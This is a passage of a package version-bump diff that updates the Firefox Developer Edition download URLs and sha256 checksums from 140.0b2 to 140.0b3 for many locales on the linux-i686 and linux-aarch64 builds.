+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/uk/firefox-140.0b3.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "93b22572fdbd3095d8e30deea395625b788fb9a778ac2229cb195ce63bfcfe46";
+      sha256 = "a147c51fc3f14e9e2f23a2f2c0213134b3661c6d4e3ae2efb6ee70cb6a56106d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ur/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ur/firefox-140.0b3.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "f3917596f5f0ca2afd8faa99e916ee272e99bb969c0532775b4b250492e80065";
+      sha256 = "dd80282fe69e3dca44211bb2304b70b92247b0b888f6c4a36f605dec8c0f7031";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/uz/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/uz/firefox-140.0b3.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "cd5eba259c10496a1febcb3e45af097fef27a1988b46d3da92f41acd2f0ae523";
+      sha256 = "9f73de9442ad1aff0e1818b4e5d17d3121f2b2895b3186cafdc553355afb8f33";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/vi/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/vi/firefox-140.0b3.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "f40f814223621311d4e61330aba019463bce28b238176ee241b5182dcd23fd5d";
+      sha256 = "62f156b335177c4b866cfa9cd4c8a69d551b7502daa7b7e8de7c6f2df3bf43e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/xh/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/xh/firefox-140.0b3.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "194e2abca87a28bc6fac3fd8a2e81c2948d82bb02e9a21d77ebbb852d4d3323d";
+      sha256 = "eb956b5ab8350f2be647e5986e37b25513e6ecf72489cdd55412c21e6f369496";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/zh-CN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/zh-CN/firefox-140.0b3.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "19d5bd43ee524ec3a7b4bf7d743c382ab21ad8738f821359fa5b076e38dc71a7";
+      sha256 = "47e7cef2c8a721287927fc756e078c6c7e22737d857d99e5f6584b8b98b0d8f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/zh-TW/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/zh-TW/firefox-140.0b3.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "aae9ed93330ba2097ea3b3281ea5c91dcd21f4577acdc87b368a5b2a30f8e46c";
+      sha256 = "7e31b87ff566892a14b0fb2ec227b28a281c38a41c82b00c1c0372825dd5c146";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ach/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ach/firefox-140.0b3.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "8e333cc92651318838354682396e621d91346f82515106a44645db9d58a3af4d";
+      sha256 = "3387f9e12b9b3d67732873942fd0c6cb93de46d9876daeeef57e3ccb731c256c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/af/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/af/firefox-140.0b3.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "b73650f86928fb676d4a1b4ad13abd48a99b3a87c69099f4e67891f2f16b8916";
+      sha256 = "c44171556bdbe1526866137d37a7ef25bd2d5320d8d89478dfd62561b6540c26";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/an/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/an/firefox-140.0b3.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "0087d94bccd33bf7cd38e5272b4722fc6ce0654c86329e5fa400212ba2deae5d";
+      sha256 = "c6db4cbc69e2ad5d632c43855241bff3669e9cebcbb9b9e843e2e505c9b51065";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ar/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ar/firefox-140.0b3.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "ea37bd6670ac8c1074db798729b2b6372ddc081546f05f5ab492e45edf491280";
+      sha256 = "bb96da12a2b3ce4e9840a69c9cf04dd44371567435f3a3b32d9aa84a50022d7e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ast/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ast/firefox-140.0b3.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "048e5268852cbb2882daa7e768b661b0168feadd538068724b771564addafd32";
+      sha256 = "ad799375ecddca509884aebe1d6451348658071e15f3a48655f2266dda8cc486";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/az/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/az/firefox-140.0b3.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "69be7ed2489c62f4d4aabe0b6e0e356ae0708fd963243a43843f098624883218";
+      sha256 = "7e873555eeff30625be0bd276ebe0891a664a93033fa932df5e1020a2614de77";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/be/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/be/firefox-140.0b3.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "831ac7b7469b7a94a63f8687f8c8d1a6626d0555f084602b341b7875100ec6e8";
+      sha256 = "0049c3cb02b2bcd53bde4ebfcbc6ee83d7810bafc27ac42436174ca8dbc89ca6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/bg/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/bg/firefox-140.0b3.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "071125d022f167f209c6b5fa6099a1eb4819ac095e44e28c72835af09dfc857d";
+      sha256 = "2ddaa5e9eb35ebab4bdd1335a336f1d26293f0eb84d0523992c1cd1762d50ebf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/bn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/bn/firefox-140.0b3.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "05bdb1c8f3bb8d673b2956471a60b616565d9acdc3ab673004c5fe30d4dd8b03";
+      sha256 = "c59773d2590d548949a8e7faa40eaacf0fc02a7d3c8773a8a3a9e7f42ebcf9fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/br/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/br/firefox-140.0b3.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "cce32f7d6985778559a2559f9dd2d27acee239823176676732869f99fd114ac8";
+      sha256 = "590ef978da456874f975d304321bdad7be2dc0c05c182f2dd0df3db5b778cb0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/bs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/bs/firefox-140.0b3.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "22b677d215dfc64350e9cc08cf77facdf56f2248d0be32136310014fcb8bc4c5";
+      sha256 = "cfa92aa57589089c654e359c673b20542e842559eb9ee0d141bc4cb5040a8880";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ca-valencia/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ca-valencia/firefox-140.0b3.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "070138cb5c1576458df1acf2d7c735aeee45fd831cf6a5c058f705a555f08074";
+      sha256 = "454184c456b455cbfd4174b32a1af69aa61cf8d03c52beb30c44c407707e14e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ca/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ca/firefox-140.0b3.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "3397ef999dabaef0f21e9c94597e5c1da632a525aac547635fc39ecdc4f7f8de";
+      sha256 = "d96acaa36c3c1bfb20f15d8f6f9e3ca6772dc6463dd9b79a8156f6288622e1e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/cak/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/cak/firefox-140.0b3.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "f4bdcf93142b268ad5ece77deff6684197acc671c39ec3408269a5636761e9c9";
+      sha256 = "ccc48b287e6916c3e1eb0fc9fe99cc0b57e152a18697ef404f69cf10e12ae11d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/cs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/cs/firefox-140.0b3.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "f93563b2f365be59e77b205cd582fbab900aef88aa954c1bece23a6ee8d01a2a";
+      sha256 = "fe6a598ee9852fc78e161363419988572220bf5274548d8808032a770202eaed";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/cy/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/cy/firefox-140.0b3.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "6ffa2b32e82102eec535998ee3593f9c6bae6290546425ad3d19f6038be42d7c";
+      sha256 = "666fabaabacdffeb54b23e96553f4ba154d423d1cf86492b664de9220e8113e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/da/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/da/firefox-140.0b3.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "4cb2c407cf89df1a1add90caa9aaae5947ae389a322666ac5fc3f4534ab9f3be";
+      sha256 = "e1446c20e9f53545db9e3a602573e07bb2c5944a44815a4ebdb7e8ca7bafaf26";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/de/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/de/firefox-140.0b3.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "25e3d5ff4e13d7b716d664f92bb60bedc0b695700c743cc27badba490df4cc2b";
+      sha256 = "a689221b405f94bec20a779817e3c1cc871d9d94d5b1957080cc8cafd4ea7ba9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/dsb/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/dsb/firefox-140.0b3.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "a85a8c6d39afb495e1b34a896b3cc1aa930334fa8e720a06ba86620ebcb64641";
+      sha256 = "c6922652b164a79cea4a0c17af82a436a2c776f8447bedfa662d1e74e3d3a0f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/el/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/el/firefox-140.0b3.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "9a2abda0113c66b95d1bade25336432618e0123c3e344b97ed27f59a03257b13";
+      sha256 = "7d42e3baa362000b5445069e7563fa1d5c8b8bb775590423269e74de3f36c216";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/en-CA/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/en-CA/firefox-140.0b3.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "05b6af15963426fbd845b2b43dc45499d366d476ad59cc80a1558009bd1d63a3";
+      sha256 = "75420edaf831b15860e3e78dad64e280463e04cdf671eb0ffb8016c3bd1ab4f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/en-GB/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/en-GB/firefox-140.0b3.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "b1babf23c66ddf5ac23188b272cbc61d0c9821c8d2ce4924b15d7231aaca96cc";
+      sha256 = "10b686fbee88fb4a1ec5acb9329785291a591c27215f6b937360f98d519d089e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/en-US/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/en-US/firefox-140.0b3.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "b6b38968b00781bbc144065f0294947bdcd1f23bfa641f57efb6e88f5905cb40";
+      sha256 = "a1b5c903435a501a196882445546fe52b3866573c36206dfe6235c64a7334e30";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/eo/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/eo/firefox-140.0b3.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "195e8ad6973822bd5f1919a82bdf2206cf9d12baa7ed38e467eb360dc5dd2c42";
+      sha256 = "658a0728a5ae42ce59cbe5783aa8392cbd0c7687df22973558b052a4b2e8b166";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/es-AR/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/es-AR/firefox-140.0b3.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "b4c3d0c5fe505ac5e7c9a38584683ce3c8236ecd497f055c7ffcd7b08604fc3b";
+      sha256 = "7495b7e1968ec676c847c03596baa508dc51bd718533887374a753c721e16b6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/es-CL/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/es-CL/firefox-140.0b3.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "42fdd9a3dc09de733adb19bc07eb40448390a4ae9a32039f695564915fca8537";
+      sha256 = "6ae1058ebd39b8294bef8a1c532ac6d9400cc5271ee7efc1b964aaad39ad5081";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/es-ES/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/es-ES/firefox-140.0b3.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "8946e80d10fbf064eb6fe4565afbf4b7c320d3e224871c33fd45a4c22c53554d";
+      sha256 = "439ab7bab00c10785aac645684460c619418e2a96b2b9c799a9d0bd9a1165e49";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/es-MX/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/es-MX/firefox-140.0b3.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "2e04c6985567aaec38c91f7d45da067153b12d6d800ff6653356af6a39bde95e";
+      sha256 = "8a08c217f062a333478aa5642e3c8d7f1f1927827db8190a0f910f5cae6e332d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/et/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/et/firefox-140.0b3.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "a331657da8a21a447d94ccf778b766abf845f73f2350fd75b4066a1a97cb7255";
+      sha256 = "357458f42be8175279ba09e7e1a8c598233399bddca2fc0f1cdb731389648a54";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/eu/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/eu/firefox-140.0b3.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "1b10be47d311454b148558de6e6a98947286d66b32627fe9da586f6e764b3846";
+      sha256 = "c5679d961ac0d133dd54d040b25b6bce0ae3e6bf54bbb80b63e1cd4283a41ede";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/fa/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/fa/firefox-140.0b3.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "61ec0edc1639d7c69f258b4860135955addb730c382cd693faccd07acc9ee59e";
+      sha256 = "c54defcf01f5ff63b2c9718bc26660089abe0230b3808f492f55e1e25403ebcf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ff/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ff/firefox-140.0b3.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "97a5d77fd30cf21502b8b9c8005112180396f26d24dce88f6086671b3711d710";
+      sha256 = "9caa213108d214bd1b37e6cc1f367b29e093fcb98f1f010c8cb68a25c6149457";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/fi/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/fi/firefox-140.0b3.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "180a4a853a9f03cb5c4b6467b8476edeee17ea5cf324ea4415648dcf3d85b228";
+      sha256 = "8be2a4279373bbe9c74b28175a53f6082cccfbea5918bae208be0c6b6b888944";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/fr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/fr/firefox-140.0b3.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "6490b20b7cdb731df9d8e0df8ca46bc834b362c577c235d5397665a617b271ac";
+      sha256 = "9267835f4f5512068ad3ef87b8fa75bfba26db4e2c0d8f6f1e37ef86f17317e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/fur/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/fur/firefox-140.0b3.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "6d7c83bb94c905b02365b0502cb5d1ed7924eff2ffac575994598d7382aa4635";
+      sha256 = "43b1b42524d772baa72ee7ef0c8b6322949fb2b64796ffbed4fd097a6f2328a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/fy-NL/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/fy-NL/firefox-140.0b3.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "9b11642f4ebd8e27f12d3c244ee467a668976a17edfb12b71e94238eb2a98d6e";
+      sha256 = "385c966b1eb1d2af7a038af9e3aef4323949d431b0f09e4cce3ed5e045b0728a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ga-IE/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ga-IE/firefox-140.0b3.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "2fea6d116c6be60aa0a0a46278fe29e29f0ea2d6b48396211d500fdfe5669d29";
+      sha256 = "c0f1ea44c17e2eba13f8c6529b39da7da2bb1f8d5f0c8b9b0b41be53c04ace58";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/gd/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/gd/firefox-140.0b3.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "22832b70b7504b7bea490b45a70ed88488951d4b9f4e50cec6869cedf5fdf916";
+      sha256 = "e3857c858010c4a0e23b1b4d77ee74e398ed68d0285797e8e5f5b677f8271aa6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/gl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/gl/firefox-140.0b3.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "0fefa4add517fbd4a49ef4305c0a37dab58d5cd1cc579ac9dc4db005fd434e9d";
+      sha256 = "5c097ed389da49c71e6165c6735db6b7195cd52e113d8c1e7f6078105f594565";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/gn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/gn/firefox-140.0b3.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "0dd0a13c53de0ff825cb563381ad0fd2956cc1b485f270cd9fd07fb791d7da79";
+      sha256 = "d63959887d0efeaca0d34c731230c23be012b0a0ebcf1c1f9b23a2164c1f5051";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/gu-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/gu-IN/firefox-140.0b3.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "0afc4e0cf35f8668cd41026532b05070f5bfb116213d7f195a9e2458a2538c33";
+      sha256 = "b6e876dd0f29e081ccbce9abb08a7338a6add3ef6c52fb43859933461cc422f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/he/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/he/firefox-140.0b3.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "f53438739efa25fb3bf2e76ea57105005c048ee8f87e3fdbaddb6987bd8b41f1";
+      sha256 = "f150fa1887b7547429d67bf465e18ed9ba35a0eb7b05f98a4f5d87673596d8b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/hi-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/hi-IN/firefox-140.0b3.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "e82d7805936223b363613138e1641e7ef042ca6229896b1f261cf9db85095921";
+      sha256 = "76d0f4825b8bcfb9d6d66860cdf8ae0b9c47933037586d896f8f2df752c0cadf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/hr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/hr/firefox-140.0b3.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "5ccbd439a15849ab7cf33899e52190d7823042c05ad119e54d968284fd95cbc9";
+      sha256 = "c34b67aa88aa37d0a2e680a7e12e6f61933885f3855f85a7219d3ae2a05174d8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/hsb/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/hsb/firefox-140.0b3.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "6671d4973471337ff156fb0aa8d8a89026ea001a82a3c39151236e450ba83d11";
+      sha256 = "e80a11c6d279f403e7b4486183e22341904627cdfbe6913731b0d9680a27c624";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/hu/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/hu/firefox-140.0b3.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "f2b96cd0724c64b2bb946d03fbe4f689e06aeacfe25546521a85fc823df19190";
+      sha256 = "a19774b3a61039debdd0ecdf1e0eb52880406127728b49eeeb2b557674e26288";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/hy-AM/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/hy-AM/firefox-140.0b3.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "9b57ab8d9dc9cf31b1e8c5983085ca6380b4edabc78c823cc5957862011c14d7";
+      sha256 = "667c51cf291606b1da0964d03bf990d5a8583359b01260ce4d55492a5be04229";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ia/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ia/firefox-140.0b3.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "188793a0c4619be9fafb870583c716f2f71026505312050b38c90ba69a7ecba3";
+      sha256 = "3399278865cab1ae01fae526ca2e7184a1edb3337d1d4fdf39d035f5ae05d35d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/id/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/id/firefox-140.0b3.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "69601bbff0fe4b1719d9f76326ff363aed11404d0cc3b1babd6de85f174beae9";
+      sha256 = "258714f0352e26cf4824a129414cb4d73ebf9a196a1e07606fdd512a73643e1d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/is/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/is/firefox-140.0b3.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "a446c41c5055ab8b81d28394aa0c3a204012a7409028a610269d6b8c31cab303";
+      sha256 = "60e0e2590c0a46f183991e9b34b055f148cc9e9611460e4e28574b50775b7e17";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/it/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/it/firefox-140.0b3.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "68ec8352f64a031b2e12f43104822a2fbcd80b4061d8cd8ce87498112fd7e5a9";
+      sha256 = "275184c50ebcb1ed872f468f76ac7db657b83e099c58adbe68bab8d8859854aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ja/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ja/firefox-140.0b3.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "a21480a969ac74e85749a6e2904af86dcbee8a85b799b45e09b23c9e7553b783";
+      sha256 = "50d0351a67bbbe93bb224bd470c6e300c319ff73f51891d0f40e33f2e12c1105";
     }
     {
